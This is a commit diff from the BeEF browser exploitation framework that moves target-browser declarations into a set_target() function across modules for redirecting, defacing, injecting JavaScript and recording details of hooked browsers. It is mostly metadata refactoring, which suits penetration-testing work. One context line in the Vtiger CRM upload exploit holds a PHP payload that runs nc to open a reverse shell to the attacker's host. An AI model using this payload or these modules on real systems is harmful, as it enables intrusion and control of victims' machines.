Updated for issue 185. This change added another traffic light (orange == user prompt) to the module targets. Also targets are now set using the set_target() function.

No OS target functionality is currently in place. 



git-svn-id: https://beef.googlecode.com/svn/trunk@619 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
wade@bindshell.net
2010-12-19 04:35:13 +00:00
parent 4d5f51fbe5
commit aeacf83aa8
21 changed files with 183 additions and 103 deletions

View File

@@ -13,11 +13,14 @@ class Detect_details < BeEF::Command
},
'Category' => 'Browser',
'Author' => ['wade','vo','passbe'],
'File' => __FILE__,
'Target' => {
'browser_name' => BeEF::Constants::Browsers::ALL
}
'File' => __FILE__
})
set_target({
'verified_status' => VERIFIED_WORKING,
'browser_name' => ALL
})
use 'beef.dom'
use_template!
end

View File

@@ -13,11 +13,13 @@ class Detect_visited_urls < BeEF::Command
'Data' => [
['ui_label'=>'URL(s)', 'name'=>'urls', 'type'=>'textarea', 'value'=>'http://www.bindshell.net/', 'width'=>'200px']
],
'File' => __FILE__,
'Target' => {
'browser_name' => BeEF::Constants::Browsers::ALL
}
'File' => __FILE__
})
set_target({
'verified_status' => VERIFIED_WORKING,
'browser_name' => ALL
})
use_template!
end

View File

@@ -13,11 +13,13 @@ class Site_redirect < BeEF::Command
'Data' => [
['ui_label'=>'Redirect URL', 'name'=>'redirect_url', 'value'=>'http://www.bindshell.net/', 'width'=>'200px']
],
'File' => __FILE__,
'Target' => {
'browser_name' => BeEF::Constants::Browsers::ALL
}
})
'File' => __FILE__
})
set_target({
'verified_status' => VERIFIED_WORKING,
'browser_name' => ALL
})
use_template!
end

View File

@@ -10,20 +10,24 @@ class Site_redirect_iframe < BeEF::Command
#
def initialize
super({
'Name' => 'Site Redirect (iFrame)',
'Description' => 'This module will redirect the hooked browser to the address specified in the \'Redirect URL\' input. It creates a 100% x 100% overlaying iframe to keep the victim hooked and changes the page title to the provided value which should be set to the title of the redirect URL.',
'Category' => 'Browser',
'Author' => ['ethicalhack3r, Yori Kvitchko'],
'Data' => [
['name' => 'iframe_title', 'ui_label' => 'New Page Title', 'value' => 'BindShell.Net: Home', 'width'=>'200px'],
['name' => 'iframe_src', 'ui_label' => 'Redirect URL', 'value' => 'http://www.bindshell.net/', 'width'=>'200px'],
['name' => 'iframe_timeout', 'ui_label' => 'Timeout', 'value' => '3500', 'width'=>'150px']
],
'File' => __FILE__,
'Target' => { 'browser_name' => BeEF::Constants::Browsers::ALL }
})
use_template!
'Name' => 'Site Redirect (iFrame)',
'Description' => 'This module will redirect the hooked browser to the address specified in the \'Redirect URL\' input. It creates a 100% x 100% overlaying iframe to keep the victim hooked and changes the page title to the provided value which should be set to the title of the redirect URL.',
'Category' => 'Browser',
'Author' => ['ethicalhack3r, Yori Kvitchko'],
'Data' => [
['name' => 'iframe_title', 'ui_label' => 'New Page Title', 'value' => 'BindShell.Net: Home', 'width'=>'200px'],
['name' => 'iframe_src', 'ui_label' => 'Redirect URL', 'value' => 'http://www.bindshell.net/', 'width'=>'200px'],
['name' => 'iframe_timeout', 'ui_label' => 'Timeout', 'value' => '3500', 'width'=>'150px']
],
'File' => __FILE__
})
set_target({
'verified_status' => VERIFIED_WORKING,
'browser_name' => ALL
})
use_template!
end
# This method is being called when a hooked browser sends some

View File

@@ -24,10 +24,12 @@ class Iphone_skype < BeEF::Command
'width' => '200px'
],
],
'File' => __FILE__,
'Target' => {
'browser_name' => BeEF::Constants::Browsers::S
}
'File' => __FILE__
})
set_target({
'verified_status' => VERIFIED_WORKING,
'browser_name' => S
})
use 'beef.dom'

View File

@@ -25,10 +25,12 @@ class Iphone_tel < BeEF::Command
'width' => '200px'
],
],
'File' => __FILE__,
'Target' => {
'browser_name' => BeEF::Constants::Browsers::S
}
'File' => __FILE__
})
set_target({
'verified_status' => VERIFIED_WORKING,
'browser_name' => S
})
use 'beef.dom'

View File

@@ -13,10 +13,12 @@ class Physical_location < BeEF::Command
},
'Category' => 'Host',
'Author' => ['antisnatchor'],
'File' => __FILE__,
'Target' => {
'browser_name' => BeEF::Constants::Browsers::ALL
}
'File' => __FILE__
})
set_target({
'verified_status' => VERIFIED_USER_NOTIFY,
'browser_name' => ALL
})
use 'beef.geolocation'

View File

@@ -15,10 +15,12 @@ class Alert_dialog < BeEF::Command
'Category' => 'Misc',
'Author' => 'bm',
'Data' => [['name' => 'text', 'ui_label'=>'Alert text', 'type' => 'textarea', 'value' =>'BeEF', 'width' => '400px', 'height' => '100px']],
'File' => __FILE__,
'Target' => {
'browser_name' => BeEF::Constants::Browsers::ALL
}
'File' => __FILE__
})
set_target({
'verified_status' => VERIFIED_WORKING,
'browser_name' => ALL
})
# This tells the framework to use the file 'alert.js' as the command module instructions.

View File

@@ -24,10 +24,12 @@ class Deface_web_page < BeEF::Command
'height' => '100px'
],
],
'File' => __FILE__,
'Target' => {
'browser_name' => BeEF::Constants::Browsers::ALL
}
'File' => __FILE__
})
set_target({
'verified_status' => VERIFIED_WORKING,
'browser_name' => ALL
})
use 'beef.dom'

View File

@@ -11,10 +11,12 @@ class Prompt_dialog < BeEF::Command
'Category' => 'Misc',
'Author' => 'bm',
'Data' => [['name' =>'question', 'ui_label'=>'Prompt text']],
'File' => __FILE__,
'Target' => {
'browser_name' => BeEF::Constants::Browsers::ALL
}
'File' => __FILE__
})
set_target({
'verified_status' => VERIFIED_WORKING,
'browser_name' => ALL
})
use_template!

View File

@@ -21,10 +21,12 @@ class Raw_javascript < BeEF::Command
'value' => "alert(\'BeEF Raw Javascript\');\nreturn \'It worked!\';",
'type' => 'textarea', 'width' => '400px', 'height' => '100px'],
],
'File' => __FILE__ ,
'Target' => {
'browser_name' => BeEF::Constants::Browsers::ALL
}
'File' => __FILE__
})
set_target({
'verified_status' => VERIFIED_WORKING,
'browser_name' => ALL
})
use_template!

View File

@@ -10,17 +10,25 @@ class Detect_local_settings < BeEF::Command
'Description' => 'Grab the local network settings (i.e internal ip address)',
'Category' => 'Network',
'Author' => ['pdp', 'wade', 'bm'],
'File' => __FILE__,
'Target' => {
'browser_name' => [
BeEF::Constants::Browsers::FF,
BeEF::Constants::Browsers::C
]
}
'File' => __FILE__
})
use 'beef.net.local'
set_target({
'verified_status' => VERIFIED_WORKING,
'browser_name' => FF
})
set_target({
'verified_status' => VERIFIED_WORKING,
'browser_name' => C
})
set_target({
'verified_status' => VERIFIED_NOT_WORKING,
'browser_name' => IE
})
use 'beef.net.local'
use_template!
end

View File

@@ -29,10 +29,12 @@ class Vtiger_crm_upload_exploit < BeEF::Command
['name'=>'vtiger_php','ui_label'=>'Injected PHP','value'=>'passthru("/bin/nc -e /bin/sh '+beef_host+' 8888");','type'=>'textarea','width'=>'400px','height'=>'100px'],
['name'=>'upload_timeout','ui_label'=>'Upload Timeout','value'=>'5000']
],
'File' => __FILE__,
'Target' => {
'browser_name' => BeEF::Constants::Browsers::ALL
}
'File' => __FILE__
})
set_target({
'verified_status' => VERIFIED_WORKING,
'browser_name' => ALL
})
use 'beef.net.local'

View File

@@ -10,15 +10,19 @@ class Popunder_window < BeEF::Command
#
def initialize
super({
'Name' => 'Pop Under Window',
'Description' => 'Creates a new discrete pop under window with the beef hook included.<br><br>This module will add another browser node to the tree. It will be a duplicate. This will be addressed in a future release',
'Category' => 'Persistence',
'Author' => 'ethicalhack3r',
'File' => __FILE__,
'Target' => { 'browser_name' => BeEF::Constants::Browsers::ALL }
})
'Name' => 'Pop Under Window',
'Description' => 'Creates a new discrete pop under window with the beef hook included.<br><br>This module will add another browser node to the tree. It will be a duplicate. This will be addressed in a future release',
'Category' => 'Persistence',
'Author' => 'ethicalhack3r',
'File' => __FILE__
})
set_target({
'verified_status' => VERIFIED_WORKING,
'browser_name' => ALL
})
use_template!
use_template!
end

View File

@@ -13,10 +13,12 @@ class Collect_links < BeEF::Command
},
'Category' => 'Recon',
'Author' => ['vo'],
'File' => __FILE__,
'Target' => {
'browser_name' => BeEF::Constants::Browsers::ALL
}
'File' => __FILE__
})
set_target({
'verified_status' => VERIFIED_WORKING,
'browser_name' => ALL
})
use 'beef.dom'

View File

@@ -14,10 +14,12 @@ class Detect_cookies < BeEF::Command
'Category' => 'Recon',
'Data' => [['name' => 'cookie', 'ui_label' => 'Cookie name', 'value' =>'cookie']],
'Author' => ['vo'],
'File' => __FILE__,
'Target' => {
'browser_name' => BeEF::Constants::Browsers::ALL
}
'File' => __FILE__
})
set_target({
'verified_status' => VERIFIED_WORKING,
'browser_name' => ALL
})
use 'beef.browser.cookie'

View File

@@ -14,14 +14,15 @@ class Detect_tor < BeEF::Command
[
['name'=>'timeout', 'ui_label' =>'Detection timeout','value'=>'10000']
],
'File' => __FILE__,
'Target' => {
'browser_name' => BeEF::Constants::Browsers::ALL
}
'File' => __FILE__
})
set_target({
'verified_status' => VERIFIED_WORKING,
'browser_name' => ALL
})
use 'beef.net.local'
use_template!
end